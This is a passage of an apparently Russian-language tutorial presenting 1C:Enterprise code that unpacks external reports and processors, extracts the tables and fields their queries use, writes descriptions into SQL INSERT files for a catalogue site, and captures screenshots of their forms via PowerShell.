М=СтрРазделить(СтрКодаМодуля.Стр,".");
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Регистр "+М.Получить(1);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"|")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
Если СтрЧислоВхождений(М.Получить(М.Количество()-1)," КАК ")<>0 Тогда
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Регистр "+Сред(М.Получить(М.Количество()-1),1,СтрДлина(М.Получить(М.Количество()-1))-Найти(М.Получить(М.Количество()-1)," КАК ")-4);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
Иначе
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М.Получить(М.Количество()-1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М.Получить(М.Количество()-1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Регистр "+М.Получить(М.Количество()-1);
М1=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М1.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М1.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,"Object")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,Символ(34));
М1=СтрРазделить(М.Получить(1),".");
Масс=СтрОператора.ИспользуемыеТаблицы.НайтиСтроки(Новый Структура("Таблица",М1.Получить(1)));
Если Масс.Количество()=0 Тогда
ТаблицаИспользуемаяОператором=СтрОператора.ИспользуемыеТаблицы.Добавить();
ТаблицаИспользуемаяОператором.Таблица=М1.Получить(1);
ТаблицаИспользуемаяОператором.НомерСтроки=СтрКодаМодуля.НомерСтроки;
ТаблицаИспользуемаяОператором.Синоним="Регистр в подключаемой базе "+М1.Получить(1);
М2=СтрРазделить(СтрКодаМодуля.Стр,"=");
Если СтрЧислоВхождений(М2.Получить(0),".")=0 Тогда
ТаблицаИспользуемаяОператором.Переменная=СокрЛП(М2.Получить(0));
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецПроцедуры
&НаКлиенте
Процедура ЗаполнитьПоляТаблицОператоров()
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Если СокрЛП(ТаблицаИспользуемаяОператором.Переменная)<>"" Тогда
Для н=СтрОператора.НомерСтрокиНачала по СтрОператора.НомерСтрокиОкончания Цикл
СтрКодаМодуля=КодМодуля.Получить(н);
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,СокрЛП(ТаблицаИспользуемаяОператором.Переменная)+".")<>0 Тогда
М=СтрРазделить(СтрКодаМодуля.Стр,".");
М1=СтрРазделить(М.Получить(1),"=");
Если СтрЧислоВхождений(М1.Получить(0),"(")=0 Тогда
Если СтрЧислоВхождений(М1.Получить(0),Символ(34))=0 Тогда
Если СтрЧислоВхождений(М1.Получить(0),"ССЫЛКА")=0 Тогда
Если СтрЧислоВхождений(М1.Получить(0),")")=0 Тогда
Если СтрЧислоВхождений(М1.Получить(0),СокрЛП(ТаблицаИспользуемаяОператором.Переменная))=0 Тогда
Масс=ТаблицаИспользуемаяОператором.Поля.НайтиСтроки(Новый Структура("Поле",СтрЗаменить(СтрЗаменить(М1.Получить(0)," Тогда",""),";","")));
Если Масс.Количество()=0 Тогда
ПолеТаблицыОператора=ТаблицаИспользуемаяОператором.Поля.Добавить();
ПолеТаблицыОператора.Поле=СтрЗаменить(СтрЗаменить(М1.Получить(0)," Тогда",""),";","");
ПолеТаблицыОператора.НомерСтроки=СтрКодаМодуля.НомерСтроки;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецПроцедуры
&НаКлиенте
Процедура ОбновитьТаблицыОператоров()
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Если СокрЛП(ТаблицаИспользуемаяОператором.Переменная)<>"" Тогда
Для н=СтрОператора.НомерСтрокиНачала по СтрОператора.НомерСтрокиОкончания Цикл
СтрКодаМодуля=КодМодуля.Получить(н);
Если СтрЧислоВхождений(СтрКодаМодуля.Стр,СокрЛП(ТаблицаИспользуемаяОператором.Переменная)+".Записать")<>0 Тогда
ТаблицаИспользуемаяОператором.ЕстьЗапись=Истина;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецПроцедуры
&НаСервере
Процедура ПолучитьФункционалОбработкиНаСервере()
ТабличныйДокумент = Новый ТабличныйДокумент;
Макет = РеквизитФормыВЗначение("Объект").ПолучитьМакет("Макет");
ОбластьМакета = Макет.ПолучитьОбласть("Шапка");
ТабличныйДокумент.Вывести(ОбластьМакета);
ОбластьМакета = Макет.ПолучитьОбласть("ШапкаТаблицы");
ТабличныйДокумент.Вывести(ОбластьМакета);
ТЗ=Новый ТаблицаЗначений;
ТЗ.Колонки.Добавить("Таблица");
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Таблица",ТаблицаИспользуемаяОператором.Синоним));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Таблица=ТаблицаИспользуемаяОператором.Синоним;
КонецЕсли;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Таблица Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
ОбластьМакета = Макет.ПолучитьОбласть("СтрокаТаблицы");
ОбластьМакета.Параметры.НомерПП = н;
ОбластьМакета.Параметры.Таблица = СтрТЗ.Таблица;
ТабличныйДокумент.Вывести(ОбластьМакета);
КонецЦикла;
ОбластьМакета = Макет.ПолучитьОбласть("ШапкаУсловия");
ТабличныйДокумент.Вывести(ОбластьМакета);
ТЗ=Новый ТаблицаЗначений;
ТЗ.Колонки.Добавить("Условие");
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Для каждого УсловияПоТаблицеОператора из ТаблицаИспользуемаяОператором.УсловияПоТаблицам Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Условие",ТаблицаИспользуемаяОператором.Таблица+"."+УсловияПоТаблицеОператора.Условие));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Условие=ТаблицаИспользуемаяОператором.Таблица+"."+УсловияПоТаблицеОператора.Условие;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Условие Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
ОбластьМакета = Макет.ПолучитьОбласть("СтрокаУсловия");
ОбластьМакета.Параметры.НомерПП = н;
ОбластьМакета.Параметры.Условие = СтрТЗ.Условие;
ТабличныйДокумент.Вывести(ОбластьМакета);
КонецЦикла;
ОбластьМакета = Макет.ПолучитьОбласть("ШапкаПоля");
ТабличныйДокумент.Вывести(ОбластьМакета);
ТЗ=Новый ТаблицаЗначений;
ТЗ.Колонки.Добавить("Поле");
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Для каждого ПолеТаблицыОператора из ТаблицаИспользуемаяОператором.Поля Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Поле",ТаблицаИспользуемаяОператором.Таблица+"."+ПолеТаблицыОператора.Поле));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Поле=ТаблицаИспользуемаяОператором.Таблица+"."+ПолеТаблицыОператора.Поле;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Поле Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
ОбластьМакета = Макет.ПолучитьОбласть("СтрокаПоля");
ОбластьМакета.Параметры.НомерПП = н;
ОбластьМакета.Параметры.Поле = СтрТЗ.Поле;
ТабличныйДокумент.Вывести(ОбластьМакета);
КонецЦикла;
ОбластьМакета = Макет.ПолучитьОбласть("ШапкаФункционал");
ТабличныйДокумент.Вывести(ОбластьМакета);
ТЗ=Новый ТаблицаЗначений;
ТЗ.Колонки.Добавить("Функционал");
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Если ТаблицаИспользуемаяОператором.ЕстьЗапись=Истина Тогда
Масс=ТЗ.НайтиСтроки(Новый Структура("Функционал",ТаблицаИспользуемаяОператором.Синоним));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Функционал=ТаблицаИспользуемаяОператором.Синоним;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Функционал Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
ОбластьМакета = Макет.ПолучитьОбласть("СтрокаФункционала");
ОбластьМакета.Параметры.НомерПП = н;
ОбластьМакета.Параметры.Функционал = СтрТЗ.Функционал;
ТабличныйДокумент.Вывести(ОбластьМакета);
КонецЦикла;
ТабличныйДокумент.АвтоМасштаб = Истина;
Объект.ДокументПечати = ТабличныйДокумент;
КонецПроцедуры
```
**Шаг второй:**— Перебор всех файлов отчетов и обработок для распаковки и анализа:
-------------------------------------------------------------------
```
&НаКлиенте
Процедура ПолучитьСписокОбработок(База,ИмяПапки,СоздаватьКаталог)
НайденныеФайлы = НайтиФайлы(ИмяПапки+"\"+База, "*.*",Истина);
Для н=0 по НайденныеФайлы.Количество()-1 Цикл
ТекФайл=НайденныеФайлы.Получить(н);
Если ТекФайл.ЭтоКаталог()=Истина Тогда
Если Прав(ТекФайл.Путь,5+СтрДлина(База))="8.3\"+База+"\" Тогда
НайденныеФайлы1 = НайтиФайлы(ИмяПапкиСОбработками+"\"+База+"\"+ТекФайл.Имя, "*.epf",Ложь);
Если НайденныеФайлы1.Количество()<>0 Тогда
СтрПапок=Папки.Добавить();
СтрПапок.База=База;
СтрПапок.Тип=НомерРаздела;
СтрПапок.ИмяПапки=ТекФайл.Имя;
Для н1=0 по НайденныеФайлы1.Количество()-1 Цикл
ТекФайл1=НайденныеФайлы1.Получить(н1);
Если ТекФайл1.ЭтоКаталог()=Ложь Тогда
Если Сред(ТекФайл1.ИмяБезРасширения,СтрДлина(ТекФайл1.ИмяБезРасширения)-2)<>"(1)" Тогда
СтрФайлов=СтрПапок.Файлы.Добавить();
СтрФайлов.ИмяФайла=ТекФайл1.ИмяБезРасширения;
НайденныеФайлы4 = НайтиФайлы(ИмяПапкиССкриншотами+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.*",Ложь);
Если НайденныеФайлы4.Количество()=0 Тогда
Если СоздаватьКаталог=Истина Тогда
СоздатьКаталог(ИмяПапкиССкриншотами+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения);
КонецЕсли;
КонецЕсли;
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.*",Ложь);
Если НайденныеФайлы2.Количество()=0 Тогда
Если СоздаватьКаталог=Истина Тогда
СоздатьКаталог(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения);
ИмяПапкиСКодамиМодулей=ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения;
ИмяОбработки=ИмяПапкиСОбработками+"\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.Имя;
КомандаСистемы("UnpackV8.exe -parse "+Символ(34)+ИмяОбработки+Символ(34)+" "+Символ(34)+ИмяПапкиСКодамиМодулей+Символ(34));
КонецЕсли;
КонецЕсли;
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.0",Ложь);
Если НайденныеФайлы2.Количество()<>0 Тогда
Для н2=0 по НайденныеФайлы2.Количество()-1 Цикл
ТекФайл2=НайденныеФайлы2.Получить(н2);
Если ТекФайл2.ЭтоКаталог()=Истина Тогда
НайденныеФайлы3 = НайтиФайлы(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения+"\"+ТекФайл2.Имя, "*.*",Ложь);
Если НайденныеФайлы3.Количество()<>0 Тогда
Для н3=0 по НайденныеФайлы3.Количество()-1 Цикл
ТекФайл3=НайденныеФайлы3.Получить(н3);
Если ТекФайл3.ЭтоКаталог()=Ложь Тогда
СтрМодулей=СтрФайлов.Модули.Добавить();
СтрМодулей.ИмяМодуля=ТекФайл3.ПолноеИмя;
КонецЕсли;
КонецЦикла;
КонецЕсли;
Иначе
СтрМодулей=СтрФайлов.Модули.Добавить();
СтрМодулей.ИмяМодуля=ТекФайл2.ПолноеИмя;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецПроцедуры
&НаКлиенте
Процедура ПолучитьСписокОтчетов(База,ИмяПапки,СоздаватьКаталог)
НайденныеФайлы = НайтиФайлы(ИмяПапки+"\"+База, "*.*",Истина);
Для н=0 по НайденныеФайлы.Количество()-1 Цикл
ТекФайл=НайденныеФайлы.Получить(н);
Если ТекФайл.ЭтоКаталог()=Истина Тогда
Если Прав(ТекФайл.Путь,5+СтрДлина(База))="8.3\"+База+"\" Тогда
НайденныеФайлы1 = НайтиФайлы(ИмяПапкиСОбработками+"\"+База+"\"+ТекФайл.Имя, "*.erf",Ложь);
Если НайденныеФайлы1.Количество()<>0 Тогда
СтрПапок=Папки.Добавить();
СтрПапок.База=База;
СтрПапок.Тип=НомерРаздела;
СтрПапок.ИмяПапки=ТекФайл.Имя;
Для н1=0 по НайденныеФайлы1.Количество()-1 Цикл
ТекФайл1=НайденныеФайлы1.Получить(н1);
Если ТекФайл1.ЭтоКаталог()=Ложь Тогда
Если Сред(ТекФайл1.ИмяБезРасширения,СтрДлина(ТекФайл1.ИмяБезРасширения)-2)<>"(1)" Тогда
СтрФайлов=СтрПапок.Файлы.Добавить();
СтрФайлов.ИмяФайла=ТекФайл1.ИмяБезРасширения;
НайденныеФайлы4 = НайтиФайлы(ИмяПапкиССкриншотами+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.*",Ложь);
Если НайденныеФайлы4.Количество()=0 Тогда
Если СоздаватьКаталог=Истина Тогда
СоздатьКаталог(ИмяПапкиССкриншотами+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения);
КонецЕсли;
КонецЕсли;
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.*",Ложь);
Если НайденныеФайлы2.Количество()=0 Тогда
Если СоздаватьКаталог=Истина Тогда
СоздатьКаталог(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения);
ИмяПапкиСКодамиМодулей=ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения;
ИмяОбработки=ИмяПапкиСОбработками+"\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.Имя;
КомандаСистемы("UnpackV8.exe -parse "+Символ(34)+ИмяОбработки+Символ(34)+" "+Символ(34)+ИмяПапкиСКодамиМодулей+Символ(34));
КонецЕсли;
КонецЕсли;
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиСМодулями+"\8.3\"+База+"\"+ТекФайл.Имя+"\"+ТекФайл1.ИмяБезРасширения, "*.0",Ложь);
Если НайденныеФайлы2.Количество()<>0 Тогда
Для н2=0 по НайденныеФайлы2.Количество()-1 Цикл
ТекФайл2=НайденныеФайлы2.Получить(н2);
Если ТекФайл2.ЭтоКаталог()=Ложь Тогда
СтрМодулей=СтрФайлов.Модули.Добавить();
СтрМодулей.ИмяМодуля=ТекФайл2.ПолноеИмя;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецПроцедуры
```
— Запись документаций в СУБД:
-----------------------------
```
&НаКлиенте
Процедура СохранитьФункционалИзФайлов(База,Тип,ИмяПапки,ИмяФайла,НомерФайла)
КоличествоТаблиц=0;
КоличествоУсловий=0;
КоличествоИзменений=0;
Для каждого СтрОператора из Операторы Цикл
Если СтрОператора.ИспользуемыеТаблицы.Количество()<>0 Тогда
КоличествоТаблиц=СтрОператора.ИспользуемыеТаблицы.Количество();
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Если ТаблицаИспользуемаяОператором.ЕстьЗапись=Истина Тогда
КоличествоИзменений=КоличествоИзменений+1;
КонецЕсли;
Если ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Количество()<>0 Тогда
КоличествоУсловий=ТаблицаИспользуемаяОператором.УсловияПоТаблицам.Количество();
КонецЕсли;
КонецЦикла;
КонецЕсли;
КонецЦикла;
Если КоличествоТаблиц<>0 Тогда
Текст=Новый ТекстовыйДокумент;
Если ЭтоОбработки=Истина Тогда
Текст.Прочитать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Обработки"+Строка(НомерФайла)+".sql",КодировкаТекста.UTF8);
Иначе
Текст.Прочитать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Отчеты"+Строка(НомерФайла)+".sql",КодировкаТекста.UTF8);
КонецЕсли;
СтрТекста="INSERT INTO u8051_4.apps (`idr`,`name`,`text`,`img`,`url`,`data`,`status`,`idu`,`pop`,`price`) VALUES ("+Тип+",'"+ИмяФайла+"','";
СтрТекста=СтрТекста+"Модуль выполняет выборку и обработку данных ("+ИмяПапки+")
==========================================================
";
СтрТекста=СтрТекста+"из таблиц в базе ["+СтрЗаменить(База,"\О"," (Дополнительные о")+")](http://icanmakeit.ru/index.php?pg=magazin&d="+Тип+").
=========================================================================================================================
";
СтрТекста=СтрТекста+"
";
СтрТекста=СтрТекста+"#### Таблицы используемые в выборке:
";
ТЗ.Очистить();
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Реквизит",ТаблицаИспользуемаяОператором.Синоним));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Реквизит=ТаблицаИспользуемаяОператором.Синоним;
КонецЕсли;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Реквизит Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
СтрТекста=СтрТекста+Строка(н)+" "+СтрТЗ.Реквизит+"
";
КонецЦикла;
Если КоличествоУсловий<>0 Тогда
СтрТекста=СтрТекста+"
";
СтрТекста=СтрТекста+"#### Условия по таблицам в выборке:
";
ТЗ.Очистить();
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Для каждого УсловияПоТаблицеОператора из ТаблицаИспользуемаяОператором.УсловияПоТаблицам Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Реквизит",ТаблицаИспользуемаяОператором.Таблица+"."+УсловияПоТаблицеОператора.Условие));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Реквизит=ТаблицаИспользуемаяОператором.Таблица+"."+УсловияПоТаблицеОператора.Условие;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Реквизит Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
СтрТекста=СтрТекста+Строка(н)+" "+СтрТЗ.Реквизит+"
";
КонецЦикла;
КонецЕсли;
СтрТекста=СтрТекста+"
";
СтрТекста=СтрТекста+"#### Выбираемые поля выборки:
";
ТЗ.Очистить();
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Для каждого ПолеТаблицыОператора из ТаблицаИспользуемаяОператором.Поля Цикл
Масс=ТЗ.НайтиСтроки(Новый Структура("Реквизит",ТаблицаИспользуемаяОператором.Таблица+"."+ПолеТаблицыОператора.Поле));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Реквизит=ТаблицаИспользуемаяОператором.Таблица+"."+ПолеТаблицыОператора.Поле;
КонецЕсли;
КонецЦикла;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Реквизит Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
СтрТекста=СтрТекста+Строка(н)+" "+СтрТЗ.Реквизит+"
";
КонецЦикла;
Если КоличествоИзменений<>0 Тогда
СтрТекста=СтрТекста+"
";
СтрТекста=СтрТекста+"#### Обработка перебирает строки выборки и записывает (изменяет) данные в таблицах:
";
ТЗ.Очистить();
Для каждого СтрОператора из Операторы Цикл
Для каждого ТаблицаИспользуемаяОператором из СтрОператора.ИспользуемыеТаблицы Цикл
Если ТаблицаИспользуемаяОператором.ЕстьЗапись=Истина Тогда
Масс=ТЗ.НайтиСтроки(Новый Структура("Реквизит",ТаблицаИспользуемаяОператором.Синоним));
Если Масс.Количество()=0 Тогда
СтрТЗ=ТЗ.Добавить();
СтрТЗ.Реквизит=ТаблицаИспользуемаяОператором.Синоним;
КонецЕсли;
КонецЕсли;
КонецЦикла;
КонецЦикла;
ТЗ.Сортировать("Реквизит Возр");
н=0;
Для каждого СтрТЗ из ТЗ Цикл
н=н+1;
СтрТекста=СтрТекста+Строка(н)+" "+СтрТЗ.Реквизит+"
";
КонецЦикла;
КонецЕсли;
Текст.ДобавитьСтроку(СтрТекста);
Если ЭтоОбработки=Истина Тогда
Текст.Записать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Обработки"+Строка(НомерФайла)+".sql",КодировкаТекста.UTF8);
Иначе
Текст.Записать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Отчеты"+Строка(НомерФайла)+".sql",КодировкаТекста.UTF8);
КонецЕсли;
КонецЕсли;
КонецПроцедуры
&НаКлиенте
Процедура СохранитьФункционалыВФайлПоЗапросу(База)
н=1;
ном=0;
Пока Папки.Количество()<>0 Цикл
СтрПапок=Папки.Получить(0);
Пока СтрПапок.Файлы.Количество()<>0 Цикл
СтрФайлов=СтрПапок.Файлы.Получить(0);
ном=ном+1;
КодМодуля.Очистить();
Операторы.Очистить();
Для каждого СтрМодулей из СтрФайлов.Модули Цикл
ИмяФайла=СтрМодулей.ИмяМодуля;
ЗаполнитьКодМодуляИзФайлов();
ЗаполнитьОператорыИзФайлов();
ЗаполнитьТаблицыОператоровИзФайлов();
ЗаполнитьПоляТаблицОператоровИзФайлов();
ОбновитьТаблицыОператоровИзФайлов();
КонецЦикла;
Состояние(СтрФайлов.ИмяФайла);
СохранитьФункционалИзФайлов(СтрПапок.База,СтрПапок.Тип,СтрПапок.ИмяПапки,СтрФайлов.ИмяФайла,н);
СтрПапок.Файлы.Удалить(0);
Если ном=10 Тогда
н=н+1;
Текст=Новый ТекстовыйДокумент;
Если ЭтоОбработки=Истина Тогда
Текст.Записать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Обработки"+Строка(н)+".sql",КодировкаТекста.UTF8);
Иначе
Текст.Записать(ИмяПапкиСЗапросами+"\8.3\"+База+"\Отчеты"+Строка(н)+".sql",КодировкаТекста.UTF8);
КонецЕсли;
Прервать;
КонецЕсли;
КонецЦикла;
Если СтрПапок.Файлы.Количество()=0 Тогда
КомандаСистемы("move "+Символ(34)+ИмяПапкиСМодулями+"\8.3\"+База+"\"+СтрПапок.ИмяПапки+Символ(34)+" "+Символ(34)+ИмяПапкиСМодулями+"\8.3\OLD\"+База+"\"+СтрПапок.ИмяПапки+Символ(34));
Папки.Удалить(0);
КонецЕсли;
Если ном=10 Тогда
ном=0;
КонецЕсли;
КонецЦикла;
КонецПроцедуры
```
**Шаг третий:**— Перебор всех файлов отчетов и обработок для создания скриншотов:
------------------------------------------------------------------
```
&НаСервере
Функция ПодключитьВнешнююОбработку(АдресХранилища)
Если ЭтоОбработки=Истина Тогда
ИмяОбработки = ВнешниеОбработки.Подключить(АдресХранилища);
ОбъектОбработки = ВнешниеОбработки.Создать(ИмяОбработки);
Иначе
ИмяОбработки = ВнешниеОтчеты.Подключить(АдресХранилища);
ОбъектОбработки = ВнешниеОтчеты.Создать(ИмяОбработки);
КонецЕсли;
Возврат Новый Структура("ИмяОбработки,ИмяФайлаОбработки",
ИмяОбработки, ОбъектОбработки.ИспользуемоеИмяФайла);
КонецФункции
&НаКлиенте
Процедура СделатьСкриншот(ЛокальноеИмяФайла,База,Папка,ИмяФайла)
АдресХранилища = "";
Попытка
Результат = ПоместитьФайл(АдресХранилища, ЛокальноеИмяФайла, , Ложь);
ДанныеОбработки = ПодключитьВнешнююОбработку(АдресХранилища);
Если ЭтоОбработки=Истина Тогда
ФормаОбработки=ПолучитьФорму("ВнешняяОбработка."+ ДанныеОбработки.ИмяОбработки +".Форма");
Иначе
ФормаОбработки=ПолучитьФорму("ВнешнийОтчет."+ ДанныеОбработки.ИмяОбработки +".Форма");
КонецЕсли;
ФормаОбработки.Открыть();
ИмяФайлаКартинки = ИмяПапкиССкриншотами+"\"+База+"\"+Папка+"\"+ИмяФайла+".jpg";
Shell = Новый COMОбъект("WScript.Shell");
Текст = """& {[void][Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');"
+ "$size = [Windows.Forms.SystemInformation]::VirtualScreen;"
+ "$bitmap = new-object Drawing.Bitmap $size.width, $size.height;"
+ "$graphics = [Drawing.Graphics]::FromImage($bitmap);"
+ "$graphics.CopyFromScreen($size.location,[Drawing.Point]::Empty, $size.size);"
+ "$graphics.Dispose();"
+ "$bitmap.Save('"+ИмяФайлаКартинки+"');"
+ "$bitmap.Dispose()}""";
WshExec = Shell.Run("PowerShell -Command "+Текст, 0, "True");//0 - не отображать окно, "True" - возобновление работы только после завершения вызванного процесса
ФормаОбработки.Закрыть();
Исключение
КонецПопытки;
КонецПроцедуры
&НаКлиенте
Процедура ПолучитьСписокОбработок()
НайденныеФайлы = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы, "*.*",Истина);
Для н=0 по НайденныеФайлы.Количество()-1 Цикл
ТекФайл=НайденныеФайлы.Получить(н);
Если ТекФайл.ЭтоКаталог()=Истина Тогда
Если Прав(ТекФайл.Путь,1+СтрДлина(ИмяБазы))=ИмяБазы+"\" Тогда
НайденныеФайлы1 = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы+"\"+ТекФайл.Имя, "*.*",Ложь);
Если НайденныеФайлы1.Количество()<>0 Тогда
Для н1=0 по НайденныеФайлы1.Количество()-1 Цикл
ТекФайл1=НайденныеФайлы1.Получить(н1);
НайденныеФайлы2 = НайтиФайлы(ИмяПапкиССкриншотами+"\"+ИмяБазы+"\"+ТекФайл.Имя, ТекФайл1.Имя+".jpg",Ложь);
Если НайденныеФайлы2.Количество()=0 Тогда
